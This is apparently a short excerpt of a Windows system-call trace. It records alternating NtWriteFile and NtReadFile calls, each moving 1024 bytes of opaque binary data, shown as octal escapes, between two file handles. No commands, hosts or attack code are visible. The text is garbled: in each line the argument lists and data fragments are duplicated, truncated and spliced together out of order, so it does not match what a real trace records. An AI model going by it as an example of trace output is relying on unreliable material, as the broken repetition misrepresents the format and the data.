 01319  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\1\303\257\20]d\305\347xS\275\214vl/\204\342\201+5\231G\273\372\342S\275X\270p\223\251\225\16\30\7G\267{\316g\216\250]\362\35\336\252\265\247\327\254\236T\377\255\22$\204%\\1\311\226\364\205\220I\211jk\301_9\370\302\214\177HB4\224\34\351\2)\213\343\272\21\334h2-\232\5M5eq\374\343\362B]01`+\341\364\\202\36\22\271\377\241\233|\210VaU\226\35\0x\206l\260\235\201\307k\252@:\247'\254\213\247n\360\12\320X\377\20\16\311\377T^\304W\345\27\200a>n?\24uT\242\311y,#|\34\254;\262\20\35\1776\227D\345B=\324\201\215\2716R\243@\376t\21\236\264\2430C\264\306I1s\265\331$X\320\310\304\267\4\224\223\275\2167\357\78:\363C\257\353G&\233\30\272\324\251G^9\210vX\225$Dg\3542|o \7\2219\254qJ\204\375\336\260V>V\302\23\203\365P\230\370\274t\252\317\242\315\304Q\6/H\231\341/c;O\204\17g\274\237\256\17\245\267K1u\341zy\241\255\271\257\3468\12\317\4\351\240\275\30\326G\264\320\254\305\351\7\327\0\374\301\335\200s\15\352\341\240\255\227\6o\233\342\301\376\246\237J\353\237#\236\216\361\261u\236\241Qj\274\177&\327\232\255FD\7\23\240_\376+X\364 \2\254\2077j\205\0\217%'n>\3560\20/\353\273T\215Sdj\257\232\341\21\34\246\317\312?|'C\247p\227\367l\206x\226/4a+\363\251\119\214\363\13j\227*\17\222\367>\206\254\320\305\373\26\242\240\364\247#\7X"\262B'M\330j\17\246w\177\304\222k\20\234\24Cg\327S\221\16\246\4{,\35\23\374\307\216\164\24~o(*R\35\230\225\35\242L\15\367\25\372\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \262B'M\330j\17\246w\177\304\222k\20\234\24Cg\327S\221\16\246\4{,\35\23\374\307\216\164\24~o(*R\35\230\225\35\242L\15\367\25\372\315", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01320  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "}\34\236\345@c#p\16u\243\344\31\3244\305\321u\242\133\321\2654\361!\352\373;\375*\377\345\375\32\332\13\254\337!\3424\253\3733\3711zb\376=\235\274\3559\17\373$\34i\2639\273Ms\5p9~u\177\27\333\261\30\217?bf6Oq3&l<\236\244\272d;P\220st\264\264;\351!9-\36\301\25<:Z\205]\34\256Xi`#\30\3\344#\241\341\251"\372\276\325\357=\S\2621c\3166\34\3135\372?`\217\277\31\24477\37!"`\341x\204g"\21\264c+(\231\24@EEm\\20SiG\37^_d>=?q\4\355\16Q\35D5#\312\3260\31\27\14KKX\234+\160Y_2Ttqc\10\34ZR;]OaKi}tj\227Saf\20's\31\3\312\15O;\37-\36\307\17\3032\221\11\3016\6\320\26\310;W\311>\27)\364\2\354\37\271\325"\20\314\257)\325(\356\336+\30\305\321\236qu\274\306\3005\3\337\327\313:\30\2363\315?-\364\302\354\37q\325"\13\23\315\351\325(V\336\240h\11*y\260\272\303\272r$\274\2778\231\22\263\262\224^T\213\234M\226\211"\211\2"\254\260&$\253\351:>\244\243\204\257c\274|\31|\3352\6\30(l*\234k\275\177\331HO\366\352\20\341#e%\345's\253;\20\352\2579[\13!p\204&\14\2737TL4\202{===a\232\330\34\25\334+!8g&\250\246\342\241m\16;.\177.- ``see&\360|\35\32\2736\264r\33Y\4\335\36\3\3374\242c\4\240\266#)))\303\251\275*\254`\367\0cb\2412\24\253=&6\2529\231\257\37\334\23*AD\250\320.d/\342\33\227%%+\221#\177!", ) \372\276\325\357=\S\2621c\3166\34\3135\372?`\217\277\31\24477\37! (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "}\34\236\345@c#p\16u\243\344\31\3244\305\321u\242\133\321\2654\361!\352\373;\375*\377\345\375\32\332\13\254\337!\3424\253\3733\3711zb\376=\235\274\3559\17\373$\34i\2639\273Ms\5p9~u\177\27\333\261\30\217?bf6Oq3&l<\236\244\272d;P\220st\264\264;\351!9-\36\301\25<:Z\205]\34\256Xi`#\30\3\344#\241\341\251"\372\276\325\357=\S\2621c\3166\34\3135\372?`\217\277\31\24477\37!"`\341x\204g"\21\264c+(\231\24@EEm\\20SiG\37^_d>=?q\4\355\16Q\35D5#\312\3260\31\27\14KKX\234+\160Y_2Ttqc\10\34ZR;]OaKi}tj\227Saf\20's\31\3\312\15O;\37-\36\307\17\3032\221\11\3016\6\320\26\310;W\311>\27)\364\2\354\37\271\325"\20\314\257)\325(\356\336+\30\305\321\236qu\274\306\3005\3\337\327\313:\30\2363\315?-\364\302\354\37q\325"\13\23\315\351\325(V\336\240h\11*y\260\272\303\272r$\274\2778\231\22\263\262\224^T\213\234M\226\211"\211\2"\254\260&$\253\351:>\244\243\204\257c\274|\31|\3352\6\30(l*\234k\275\177\331HO\366\352\20\341#e%\345's\253;\20\352\2579[\13!p\204&\14\2737TL4\202{===a\232\330\34\25\334+!8g&\250\246\342\241m\16;.\177.- ``see&\360|\35\32\2736\264r\33Y\4\335\36\3\3374\242c\4\240\266#)))\303\251\275*\254`\367\0cb\2412\24\253=&6\2529\231\257\37\334\23*AD\250\320.d/\342\33\227%%+\221#\177!", ) \21\264c+(\231\24@EEm\\20SiG\37^_d>=?q\4\355\16Q\35D5#\312\3260\31\27\14KKX\234+\160Y_2Ttqc\10\34ZR;]OaKi}tj\227Saf\20's\31\3\312\15O;\37-\36\307\17\3032\221\11\3016\6\320\26\310;W\311>\27)\364\2\354\37\271\325 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "}\34\236\345@c#p\16u\243\344\31\3244\305\321u\242\133\321\2654\361!\352\373;\375*\377\345\375\32\332\13\254\337!\3424\253\3733\3711zb\376=\235\274\3559\17\373$\34i\2639\273Ms\5p9~u\177\27\333\261\30\217?bf6Oq3&l<\236\244\272d;P\220st\264\264;\351!9-\36\301\25<:Z\205]\34\256Xi`#\30\3\344#\241\341\251"\372\276\325\357=\S\2621c\3166\34\3135\372?`\217\277\31\24477\37!"`\341x\204g"\21\264c+(\231\24@EEm\\20SiG\37^_d>=?q\4\355\16Q\35D5#\312\3260\31\27\14KKX\234+\160Y_2Ttqc\10\34ZR;]OaKi}tj\227Saf\20's\31\3\312\15O;\37-\36\307\17\3032\221\11\3016\6\320\26\310;W\311>\27)\364\2\354\37\271\325"\20\314\257)\325(\356\336+\30\305\321\236qu\274\306\3005\3\337\327\313:\30\2363\315?-\364\302\354\37q\325"\13\23\315\351\325(V\336\240h\11*y\260\272\303\272r$\274\2778\231\22\263\262\224^T\213\234M\226\211"\211\2"\254\260&$\253\351:>\244\243\204\257c\274|\31|\3352\6\30(l*\234k\275\177\331HO\366\352\20\341#e%\345's\253;\20\352\2579[\13!p\204&\14\2737TL4\202{===a\232\330\34\25\334+!8g&\250\246\342\241m\16;.\177.- ``see&\360|\35\32\2736\264r\33Y\4\335\36\3\3374\242c\4\240\266#)))\303\251\275*\254`\367\0cb\2412\24\253=&6\2529\231\257\37\334\23*AD\250\320.d/\342\33\227%%+\221#\177!", ) \13\23\315\351\325(V\336\240h\11*y\260\272\303\272r$\274\2778\231\22\263\262\224^T\213\234M\226\211 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "}\34\236\345@c#p\16u\243\344\31\3244\305\321u\242\133\321\2654\361!\352\373;\375*\377\345\375\32\332\13\254\337!\3424\253\3733\3711zb\376=\235\274\3559\17\373$\34i\2639\273Ms\5p9~u\177\27\333\261\30\217?bf6Oq3&l<\236\244\272d;P\220st\264\264;\351!9-\36\301\25<:Z\205]\34\256Xi`#\30\3\344#\241\341\251"\372\276\325\357=\S\2621c\3166\34\3135\372?`\217\277\31\24477\37!"`\341x\204g"\21\264c+(\231\24@EEm\\20SiG\37^_d>=?q\4\355\16Q\35D5#\312\3260\31\27\14KKX\234+\160Y_2Ttqc\10\34ZR;]OaKi}tj\227Saf\20's\31\3\312\15O;\37-\36\307\17\3032\221\11\3016\6\320\26\310;W\311>\27)\364\2\354\37\271\325"\20\314\257)\325(\356\336+\30\305\321\236qu\274\306\3005\3\337\327\313:\30\2363\315?-\364\302\354\37q\325"\13\23\315\351\325(V\336\240h\11*y\260\272\303\272r$\274\2778\231\22\263\262\224^T\213\234M\226\211"\211\2"\254\260&$\253\351:>\244\243\204\257c\274|\31|\3352\6\30(l*\234k\275\177\331HO\366\352\20\341#e%\345's\253;\20\352\2579[\13!p\204&\14\2737TL4\202{===a\232\330\34\25\334+!8g&\250\246\342\241m\16;.\177.- ``see&\360|\35\32\2736\264r\33Y\4\335\36\3\3374\242c\4\240\266#)))\303\251\275*\254`\367\0cb\2412\24\253=&6\2529\231\257\37\334\23*AD\250\320.d/\342\33\227%%+\221#\177!", ) \254\260&$\253\351:>\244\243\204\257c\274|\31|\3352\6\30(l*\234k\275\177\331HO\366\352\20\341#e%\345's\253;\20\352\2579[\13!p\204&\14\2737TL4\202{===a\232\330\34\25\334+!8g&\250\246\342\241m\16;.\177.- ``see&\360|\35\32\2736\264r\33Y\4\335\36\3\3374\242c\4\240\266#)))\303\251\275*\254`\367\0cb\2412\24\253=&6\2529\231\257\37\334\23*AD\250\320.d/\342\33\227%%+\221#\177!", ) == 0x0
 01321  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "Xu\367\222\346$T\271\253\303;\216\314X5\32L\260\242h\276Y\223\350^\233]\315\223\5\0\334\336\301!\225-?\37\254\216Uh\240\304\2630F\365\332s\261\276\252\300\231f\314\2\201\264\302G\361\200 \347\275\1\377C\210\332\201\352\333b\377!h\27\316\342f\304r\316\271\32\262i\337\202\0\20\334\241\372\215\352\26\203&\354\326\200{/\25\221d0\306R\332\246\3208d\27v\177\277\317\302\4\31O\320\335\206\15\2443IJ~\277\236\236\253.\302\20\6\207\362\2636H\244\6D\241\372\3627\322o1\243\213\303g\214\13}4\372\35\20\357\3030\370K\340\274\226\360z\330\306\312(\241\325\370X\323;\30083O\261\300\310X\350\24\246\211\204>Bdtx\363\325\207%\271\337\340Z\271\374\226/U\364)K\301\370^\203\213\222z~U\375E(\221 ~-\3250\274\363-\252\2004w\1SA;\214\262\23u\26\205G\377\363\201\311'&\201\216\352!(\265(\277`H\276\230\221L\32\230\215\213\321\303\264?/\347\256\22F_\305\320\331\264\17R\200\205u\343\214z>\326\26\252\342\250n,0\31\230\303\14\342\261(\3542\225)\32\267\203\177\220\23\305\260\202xn\273\302\31\335Xg!\252\335\353\252\334\314\364\3141d\377A\177\2320TV\341\365\245\261\352\356\177dh\362E\234\275\13g\273<\334h\354\210\363\3\255W\330\14[\37\372\10\3\271\273)\261\21\202yUj\30\34\216\213u\22\255\0\23\17G'\7m\341\1\266{\301\347E\36\325\334i=\252\30K\22\237%\226\261\177:\37VQQ\376\231\303\273\30\370\370\364\360_}\227b}N\20\350\370\317n|9\316\265F\370\23\30n\30\16\213-i\344p,d\320\264lX\323/\220G\272{\317\372]\21\224\350B", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01322  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "4<+\270\242\356H.<(\334\336\216\35\13\343\343\255\334\223N\330*=$\322\304\323\17"\20e\26#\277\375\306=4k:\260\314W?\24\352L\226^\320\341\337 \313a\5\265\254`\346\302\360\355^*\237\320?:0\334;92\364SwT9\252\34\373\31\0\265 sx%/\302'\276*/XUi]\7\3600]UR\3616D\230\6?3D\34c\367&!&\2$7v\255\353w\257Px\357h'\272J\15|\-\246;w\1*hiki{\250t\5"> \27\253o\0=f\223\327<*o\373//\244\310\264\315s\10Q\12]8\275L\7@=\2\275'\224!\220#\264!\36\271\30\205\32\201\24\205*\27\236\21\226\23\216\15\3663\10\377\12\347\4\357\6\347<\1\334\3\363 \363"\353 \35\330\37$$\33!\25)&\26>\206\22.\14\365\267$\21\2627?;?\7T\275\32P_\6\273\325`'\351\334l\234\210\253h*\243\267\354*-'\330\14\341\362\265:\262\23799:9V=?U\36v\35\7u"K&I+O'&\273\21@\12}\305\355\344\317\21\22\27\4\17\243hn\12?h\234\37\353'l\32\363\237d\321\202b>\0>\240\06\17=\11\337\25_7\216\202\314\37T5U9Y9.<:.\337\35Xm\35Oq\311\274;", ) \20e\26#\277\375\306=4k:\260\314W?\24\352L\226^\320\341\337 \313a\5\265\254`\346\302\360\355^*\237\320?:0\334;92\364SwT2*1\320\24/)l%8\366 Y1i+'=j7R\2417\3552Q\371:;_P\24>9\252\34\373\31\0\265 sx%/\302'\276*/XUi]\7\3600]UR\3616D\2302\203\241?\24\34\21\36\224d+\6\363\316\320\305c<\242~\17(=\177\2570!`bd\335\350\350\370DZ%3k\202\17\363\243YLQ:\272\263\350X\241 }\2\223+*\321\316l00\332\3514\236w48E-\256\277>\6?3D\34c\367&!&\2$7v\255\353w\257Px\357h'\272J\15|\-\246;w\1*hiki{\250t\5 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "4<+\270\242\356H.<(\334\336\216\35\13\343\343\255\334\223N\330*=$\322\304\323\17"\20e\26#\277\375\306=4k:\260\314W?\24\352L\226^\320\341\337 \313a\5\265\254`\346\302\360\355^*\237\320?:0\334;92\364SwT9\252\34\373\31\0\265 sx%/\302'\276*/XUi]\7\3600]UR\3616D\230\6?3D\34c\367&!&\2$7v\255\353w\257Px\357h'\272J\15|\-\246;w\1*hiki{\250t\5"> \27\253o\0=f\223\327<*o\373//\244\310\264\315s\10Q\12]8\275L\7@=\2\275'\224!\220#\264!\36\271\30\205\32\201\24\205*\27\236\21\226\23\216\15\3663\10\377\12\347\4\357\6\347<\1\334\3\363 \363"\353 \35\330\37$$\33!\25)&\26>\206\22.\14\365\267$\21\2627?;?\7T\275\32P_\6\273\325`'\351\334l\234\210\253h*\243\267\354*-'\330\14\341\362\265:\262\23799:9V=?U\36v\35\7u"K&I+O'&\273\21@\12}\305\355\344\317\21\22\27\4\17\243hn\12?h\234\37\353'l\32\363\237d\321\202b>\0>\240\06\17=\11\337\25_7\216\202\314\37T5U9Y9.<:.\337\35Xm\35Oq\311\274;", ) \353 \35\330\37$$\33!\25)&\26>\206\22.\14\365\267$\21\2627?;?\7T\275\32P_\6\273\325`'\351\334l\234\210\253h*\243\267\354*-'\330\14\341\362\265:\262\23799:9V=?U\36v\35\7u (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "4<+\270\242\356H.<(\334\336\216\35\13\343\343\255\334\223N\330*=$\322\304\323\17"\20e\26#\277\375\306=4k:\260\314W?\24\352L\226^\320\341\337 \313a\5\265\254`\346\302\360\355^*\237\320?:0\334;92\364SwT9\252\34\373\31\0\265 sx%/\302'\276*/XUi]\7\3600]UR\3616D\230\6?3D\34c\367&!&\2$7v\255\353w\257Px\357h'\272J\15|\-\246;w\1*hiki{\250t\5"> \27\253o\0=f\223\327<*o\373//\244\310\264\315s\10Q\12]8\275L\7@=\2\275'\224!\220#\264!\36\271\30\205\32\201\24\205*\27\236\21\226\23\216\15\3663\10\377\12\347\4\357\6\347<\1\334\3\363 \363"\353 \35\330\37$$\33!\25)&\26>\206\22.\14\365\267$\21\2627?;?\7T\275\32P_\6\273\325`'\351\334l\234\210\253h*\243\267\354*-'\330\14\341\362\265:\262\23799:9V=?U\36v\35\7u"K&I+O'&\273\21@\12}\305\355\344\317\21\22\27\4\17\243hn\12?h\234\37\353'l\32\363\237d\321\202b>\0>\240\06\17=\11\337\25_7\216\202\314\37T5U9Y9.<:.\337\35Xm\35Oq\311\274;", ) , ) == 0x0
 01323  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "V(\233\261\360\247\267\2363\247\356$V\341\253\206\351\250\351\240x\362\4\350x+\301$\342\16O\270=\320\262\277\205\221\343\224\31m\0\272\327\370\27H\3528\204\1\350\254\373(\213\206\320q\332\2047\22p\353\275f\252s\211\346\366\371\177\271\21\40V\270\253\361A\376\232\356Ts\357\250\232u\212"\374\330:\273to\220\363pBq:y#l?\34\20qH\337\363\352p\32Zf\33\302b}\254'8\317 \304\277j^\214\326\210\315\371\325%\222P\260\324jvu:\357%*w-^@\353UNz\332\36\272}9>\222(\24\237\2262\350\372\327\364\375G\345s\276\212y\305\352\334H\204\3506\320\204#\25\247\306\250\251\22x\351\324\263Q\264\356\375\224\363\10Mo\228\347\20\237m[\201\321'#39\3213=\226=bq\366VB\225\326\3L\357\31\361\233\235\230\372\361\2\266\0\277\361\244\314\252\356\7\12n\357\30\344\336\213\215\262<\252\2514\263\2238\367q\220E0\340\272\344\234\343/[\2675\32n\325y\305\360\244\331KT\347\267\354\11_jr\204\220\316\234\11"\24[\376\331a@|\266\316\3126\221h\225\345$F\301\322\246\226b\272\321\0jv\0\12\223\302\32uD'\202\205\214b\324\275U@S\255<\360\220\346R\202\350~>b\267\362\12[ 5\3034{\227\202\230\272\351)\244\255K\344\365*\336\327\21\267,\227\5\316\372\205$\321\222K(\32\300!%L\321b\317O5\251\260\237\377uh\231\350@(GWn_D\7@9}T|A\216\234\262\341\14\204\26B\3531\335\321\2\371\211I:\244\227\236\275\177\36"\302\205R\321\262\213\371\14[\213\271?,KK\306\352\2\15OY\23\323\35\1\13F\323\302\302\3356VEr\261x\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \374\330:\273to\220\363pBq:y#l?\34\20qH\337\363\352p\32Zf\33\302b}\254'8\317 \304\277j^\214\326\210\315\371\325%\222P\260\324jvu:\357%*w-^@\353UNz\332\36\272}9>\222(\24\237\2262\350\372\327\364\375G\345s\276\212y\305\352\334H\204\3506\320\204#\25\247\306\250\251\22x\351\324\263Q\264\356\375\224\363\10Mo\228\347\20\237m[\201\321'#39\3213=\226=bq\366VB\225\326\3L\357\31\361\233\235\230\372\361\2\266\0\277\361\244\314\252\356\7\12n\357\30\344\336\213\215\262<\252\2514\263\2238\367q\220E0\340\272\344\234\343/[\2675\32n\325y\305\360\244\331KT\347\267\354\11_jr\204\220\316\234\11 (92, 0, 0, 0, "V(\233\261\360\247\267\2363\247\356$V\341\253\206\351\250\351\240x\362\4\350x+\301$\342\16O\270=\320\262\277\205\221\343\224\31m\0\272\327\370\27H\3528\204\1\350\254\373(\213\206\320q\332\2047\22p\353\275f\252s\211\346\366\371\177\271\21\40V\270\253\361A\376\232\356Ts\357\250\232u\212"\374\330:\273to\220\363pBq:y#l?\34\20qH\337\363\352p\32Zf\33\302b}\254'8\317 \304\277j^\214\326\210\315\371\325%\222P\260\324jvu:\357%*w-^@\353UNz\332\36\272}9>\222(\24\237\2262\350\372\327\364\375G\345s\276\212y\305\352\334H\204\3506\320\204#\25\247\306\250\251\22x\351\324\263Q\264\356\375\224\363\10Mo\228\347\20\237m[\201\321'#39\3213=\226=bq\366VB\225\326\3L\357\31\361\233\235\230\372\361\2\266\0\277\361\244\314\252\356\7\12n\357\30\344\336\213\215\262<\252\2514\263\2238\367q\220E0\340\272\344\234\343/[\2675\32n\325y\305\360\244\331KT\347\267\354\11_jr\204\220\316\234\11"\24[\376\331a@|\266\316\3126\221h\225\345$F\301\322\246\226b\272\321\0jv\0\12\223\302\32uD'\202\205\214b\324\275U@S\255<\360\220\346R\202\350~>b\267\362\12[ 5\3034{\227\202\230\272\351)\244\255K\344\365*\336\327\21\267,\227\5\316\372\205$\321\222K(\32\300!%L\321b\317O5\251\260\237\377uh\231\350@(GWn_D\7@9}T|A\216\234\262\341\14\204\26B\3531\335\321\2\371\211I:\244\227\236\275\177\36"\302\205R\321\262\213\371\14[\213\271?,KK\306\352\2\15OY\23\323\35\1\13F\323\302\302\3356VEr\261x\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \302\205R\321\262\213\371\14[\213\271?,KK\306\352\2\15OY\23\323\35\1\13F\323\302\302\3356VEr\261x\336", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01324  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\241c \246?+\2733\263+\277pZdo=\277\373\374#.?\37\23\223\14\210 \205?\23\3446\206.\211h*&\250\355!\253\264\261\31Gt\21\36\210\36099\272\263<.U\31\343\316\13\255wU\0N\324o\245\347|\33(;|\241\306&0%S0`\21v\259\275\26i\34\27\2=\363\202_\35\276\220!\32"\314*ub\33!\6-\361\2556\3170B\205s\0\362r\23,\306:;\324=\362\350\345NI0{P1 -q\3448\26\220\222\177\3532u~\17e"\2238\247YY:#;\275=ga\232\33\317\254\31\215 i\262#|\245EW\oCGX\214\7\255\277\3012RWXR[X!\360\233Y\234Q\237\35q\252\3341\35\247\27\244\15\22+U-qq\2000iW\2758&7<\270\376\272;\377:?\357\35\215\27\37\354^"\34$\32&\30((\16+z\246Z\13<\2\362S\261\303H%\262y\251;\276\20\260R\2721\220\2762\0\12\374\203?\307\13l\360-\302\372\214\1\217\2\324q5\231\31\341\310?\225\240\237\21\353~:\2201r_;\245z\2\6\257\10l\306\21\255\7 a\315/f0"\270\36\224\207\335\22:\224\3332\377Q\357,\333\30|KU<\341&J\266"R\14)ch0,2\15\11\10\2412\314f4\336S\17y.)1\2118]\253\32\15\23\265\335t3.\321\304P)<$:?!\240\235\21611\211\333\15,\266-]>\320\17\36ZSz\36$*\322\301\15W=\1&y\362\214\30\23\37\356\2Z\306;U4\226F\241T\31hk\2617\253\237\3\377\374\177\211\232\3753I\242\3071\312\206!\311>\352\266\2141\13\3573`\10\303u\30' ^\314\233:\274", ) \314*ub\33!\6-\361\2556\3170B\205s\0\362r\23,\306:;\324=\362\350\345NI0{P1 -q\3448\26\220\222\177\3532u~\17e (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\241c \246?+\2733\263+\277pZdo=\277\373\374#.?\37\23\223\14\210 \205?\23\3446\206.\211h*&\250\355!\253\264\261\31Gt\21\36\210\36099\272\263<.U\31\343\316\13\255wU\0N\324o\245\347|\33(;|\241\306&0%S0`\21v\259\275\26i\34\27\2=\363\202_\35\276\220!\32"\314*ub\33!\6-\361\2556\3170B\205s\0\362r\23,\306:;\324=\362\350\345NI0{P1 -q\3448\26\220\222\177\3532u~\17e"\2238\247YY:#;\275=ga\232\33\317\254\31\215 i\262#|\245EW\oCGX\214\7\255\277\3012RWXR[X!\360\233Y\234Q\237\35q\252\3341\35\247\27\244\15\22+U-qq\2000iW\2758&7<\270\376\272;\377:?\357\35\215\27\37\354^"\34$\32&\30((\16+z\246Z\13<\2\362S\261\303H%\262y\251;\276\20\260R\2721\220\2762\0\12\374\203?\307\13l\360-\302\372\214\1\217\2\324q5\231\31\341\310?\225\240\237\21\353~:\2201r_;\245z\2\6\257\10l\306\21\255\7 a\315/f0"\270\36\224\207\335\22:\224\3332\377Q\357,\333\30|KU<\341&J\266"R\14)ch0,2\15\11\10\2412\314f4\336S\17y.)1\2118]\253\32\15\23\265\335t3.\321\304P)<$:?!\240\235\21611\211\333\15,\266-]>\320\17\36ZSz\36$*\322\301\15W=\1&y\362\214\30\23\37\356\2Z\306;U4\226F\241T\31hk\2617\253\237\3\377\374\177\211\232\3753I\242\3071\312\206!\311>\352\266\2141\13\3573`\10\303u\30' ^\314\233:\274", ) \34$\32&\30((\16+z\246Z\13<\2\362S\261\303H%\262y\251;\276\20\260R\2721\220\2762\0\12\374\203?\307\13l\360-\302\372\214\1\217\2\324q5\231\31\341\310?\225\240\237\21\353~:\2201r_;\245z\2\6\257\10l\306\21\255\7 a\315/f0 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\241c \246?+\2733\263+\277pZdo=\277\373\374#.?\37\23\223\14\210 \205?\23\3446\206.\211h*&\250\355!\253\264\261\31Gt\21\36\210\36099\272\263<.U\31\343\316\13\255wU\0N\324o\245\347|\33(;|\241\306&0%S0`\21v\259\275\26i\34\27\2=\363\202_\35\276\220!\32"\314*ub\33!\6-\361\2556\3170B\205s\0\362r\23,\306:;\324=\362\350\345NI0{P1 -q\3448\26\220\222\177\3532u~\17e"\2238\247YY:#;\275=ga\232\33\317\254\31\215 i\262#|\245EW\oCGX\214\7\255\277\3012RWXR[X!\360\233Y\234Q\237\35q\252\3341\35\247\27\244\15\22+U-qq\2000iW\2758&7<\270\376\272;\377:?\357\35\215\27\37\354^"\34$\32&\30((\16+z\246Z\13<\2\362S\261\303H%\262y\251;\276\20\260R\2721\220\2762\0\12\374\203?\307\13l\360-\302\372\214\1\217\2\324q5\231\31\341\310?\225\240\237\21\353~:\2201r_;\245z\2\6\257\10l\306\21\255\7 a\315/f0"\270\36\224\207\335\22:\224\3332\377Q\357,\333\30|KU<\341&J\266"R\14)ch0,2\15\11\10\2412\314f4\336S\17y.)1\2118]\253\32\15\23\265\335t3.\321\304P)<$:?!\240\235\21611\211\333\15,\266-]>\320\17\36ZSz\36$*\322\301\15W=\1&y\362\214\30\23\37\356\2Z\306;U4\226F\241T\31hk\2617\253\237\3\377\374\177\211\232\3753I\242\3071\312\206!\311>\352\266\2141\13\3573`\10\303u\30' ^\314\233:\274", ) R\14)ch0,2\15\11\10\2412\314f4\336S\17y.)1\2118]\253\32\15\23\265\335t3.\321\304P)<$:?!\240\235\21611\211\333\15,\266-]>\320\17\36ZSz\36$*\322\301\15W=\1&y\362\214\30\23\37\356\2Z\306;U4\226F\241T\31hk\2617\253\237\3\377\374\177\211\232\3753I\242\3071\312\206!\311>\352\266\2141\13\3573`\10\303u\30' ^\314\233:\274", ) == 0x0
 01325  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "R\312jt\205\316:\233P\217^\246\351w\221\246m\24\356\311\241*\251\252\236\277\271\307\270\322L;tjX\213\271\345$x\14\36(HD\236\1X\5\303\12EAN\354\15\342\20?\312g<\21\312\261\370h\361E\11K\311\276\200\320"\250\311\200|\333\32~R\240x\13g50\204\35%\313r\314\311\361\330\253U\340\346\32\245;\251\3\272c\237\310\216B8U\334\353\236\32\275S\26{\363Z\364$,\313V\247\367y/\276\216,\372r\345\240\276~\2\210\257m \210\271;\360(X?s?\260\256\320\2318\236\36\342{"\340\265\307\7!\217\3\20\303|;6\257f\376\227C\354\203\224\347\212}^js\360j\226\373\357%\313W\252\211\334\17-\337\365\317\235\254\357\375\315\1\232g\315\341\336+\331\236\236\24\30#p\364a\261\305\4\321D\324\225H\221\16|\232\202\254d7\346\204|\7x;\275,d\304\2\255\1T\361i\3603\305$&tE\260\272\311s#\321\264\16\1.\203\273|-\226\222\224\271^\241Q\223I\264\26\32\261\246CHJ3\256\223\253i3\240\272b\247\377\345>\232\350\37i\201$\237l\37x\262\251\302\262\224\223\302\210\364\361\361\313\2303\230\342\316>\234\374\2210N\234n\3\226\36;b%5\367\205\21\243\206\243]?`\34\245C\306\326LsG\322B>\347\355Zi1\350?\275{)\300\366\330m4\246\315\306M\316\335Id\214\352\232!\356C\352fYzh BY\231, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \250\311\200|\333\32~R\240x\13g50\204\35%\313r\314\311\361\330\253U\340\346\32\245;\251\3\272c\237\310\216B8U\334\353\236\32\275S\26{\363Z\364$,\313V\247\367y/\276\216,\372r\345\240\276~\2\210\257m \210\271;\360(X?s?\260\256\320\2318\236\36\342{ (92, 0, 0, 0, "R\312jt\205\316:\233P\217^\246\351w\221\246m\24\356\311\241*\251\252\236\277\271\307\270\322L;tjX\213\271\345$x\14\36(HD\236\1X\5\303\12EAN\354\15\342\20?\312g<\21\312\261\370h\361E\11K\311\276\200\320"\250\311\200|\333\32~R\240x\13g50\204\35%\313r\314\311\361\330\253U\340\346\32\245;\251\3\272c\237\310\216B8U\334\353\236\32\275S\26{\363Z\364$,\313V\247\367y/\276\216,\372r\345\240\276~\2\210\257m \210\271;\360(X?s?\260\256\320\2318\236\36\342{"\340\265\307\7!\217\3\20\303|;6\257f\376\227C\354\203\224\347\212}^js\360j\226\373\357%\313W\252\211\334\17-\337\365\317\235\254\357\375\315\1\232g\315\341\336+\331\236\236\24\30#p\364a\261\305\4\321D\324\225H\221\16|\232\202\254d7\346\204|\7x;\275,d\304\2\255\1T\361i\3603\305$&tE\260\272\311s#\321\264\16\1.\203\273|-\226\222\224\271^\241Q\223I\264\26\32\261\246CHJ3\256\223\253i3\240\272b\247\377\345>\232\350\37i\201$\237l\37x\262\251\302\262\224\223\302\210\364\361\361\313\2303\230\342\316>\234\374\2210N\234n\3\226\36;b%5\367\205\21\243\206\243]?`\34\245C\306\326LsG\322B>\347\355Zi1\350?\275{)\300\366\330m4\246\315\306M\316\335Id\214\352\232!\356C\352fYzh BY\231, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
